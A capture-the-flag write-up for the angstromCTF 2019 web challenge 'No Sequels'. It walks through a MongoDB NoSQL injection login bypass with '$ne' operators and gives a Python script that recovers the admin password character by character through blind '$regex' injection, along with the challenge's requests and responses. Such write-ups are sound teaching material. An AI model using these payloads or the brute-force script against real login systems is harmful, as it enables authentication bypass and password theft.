ångstromCTF 2019 - Write-up

Information#

CTF#

50 - No Sequels - Web#

The prequels sucked, and the sequels aren't much better, but at least we always have the original trilogy.

Author: SirIan

The server side source code is given to us, it seems to be Nodejs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;

var user = req.body.username;
var pass = req.body.password;

if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
username: user,
password: pass
}

db.collection('users').findOne(query, function (err, user) {
if (!user){
res.send("Wrong username or password");
return
}

res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
res.redirect("/site");
});
});

We can notice that the server is expecting data to be formated in JSON and that a JWT token will be set.

Let's try a legitimate request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: nosequels.2019.chall.actf.co
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://nosequels.2019.chall.actf.co/login
Content-Type: application/json
Content-Length: 39
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY
Upgrade-Insecure-Requests: 1

{"username": "admin", "password": "no"}

Of course the server answered us we provided wrong credentials.

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/html; charset=utf-8
Date: Wed, 24 Apr 2019 21:08:59 GMT
Etag: W/"1a-ozvnU4Pwu6RM0j7vlv3/UWPyWYE"
Server: Caddy
Server: nginx/1.14.1
X-Powered-By: Express
Connection: close

Wrong username or password

Looking at the HTML source we can see this comment:

1
<!--Powered by ExpressJS and MongoDB -->

MongoDB is a NoSQL database, so let's try a NoSQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: nosequels.2019.chall.actf.co
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://nosequels.2019.chall.actf.co/login
Content-Type: application/json
Content-Length: 58
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY
Upgrade-Insecure-Requests: 1

{"username": {"$ne": "noraj"}, "password": {"$ne": "bar"}}

Seems to work be we are redirected on a bad page.

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 302 Found
Content-Length: 54
Content-Type: text/html; charset=utf-8
Date: Wed, 24 Apr 2019 21:00:07 GMT
Location: /site
Server: Caddy
Server: nginx/1.14.1
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE1NTYxMzk2MDd9.Bor7DuMtBs38qokiqP7emyjKKt8eJ-AsnilKBKWApWI; Path=/
Vary: Accept
X-Powered-By: Express
Connection: close

<p>Found. Redirecting to <a href="/site">/site</a></p>

If we code the JWT token, we have:

1
2
3
4
5
6
7
8
9
10
11
12
Headers = {
"alg" : "HS256",
"typ" : "JWT"
}

Payload = {
"name" : "admin",
"authenticated" : true,
"iat" : 1556138735
}

Signature = "DjKiHBhOU4RyWO-q_LIeqeW_wIXYEj2EokPfe0XRjg8"

So with the payload {"$ne": "noraj"} we revealed the existence of the the user admin.

Now we can try a blind NoSQL injection with the use of the regex operator and brute-force to obtain the admin password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="https://nosequels.2019.chall.actf.co/login"
headers = {
'Cookie': 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU2MTM4MDgwfQ.lr6TglvX2cfA-SIwRxNfJfkLchYBowMgsIL48VBTbCY',
'content-type': 'application/json'
}

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = payload, headers = headers, verify = False)
print(r.text + ' ' + str(r.status_code))
#if 'Found' in r.text:
if r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c

Let's execute our script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
Wrong username or password 200
Wrong username or password 200
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Application Access Page</title></head><body><h2>Here's your first flag: actf{no_sql_doesn't_mean_no_vuln}<br>Access granted, however suspicious activity detected. Please enter password for user<b> 'admin' </b>again, but there will be no database query.</h2><form method="post"><label>Enter Password:</label><input type="text" name="pass2"><br><input type="submit"></form><h4 style="color:red;"></h4><pre>router.post('/site', verifyJwt, function (req, res) {
// req.user is assigned from verifyJwt
if (!req.user.authenticated || !req.body.pass2) {
res.send("bad");
}

var query = {
username: req.user.name,
}

var db = req.db;
db.collection('users').findOne(query, function (err, user) {
console.log(user);
if (!user){
res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
}
var pass = user.password;
var message = "";
if (pass === req.body.pass2){
res.render('final');
} else {
res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
}

});

});</pre></body></html> 200
Wrong username or password 200
Wrong username or password 200
Wrong username or password 200
...

The flag: actf{no_sql_doesn't_mean_no_vuln}.

Share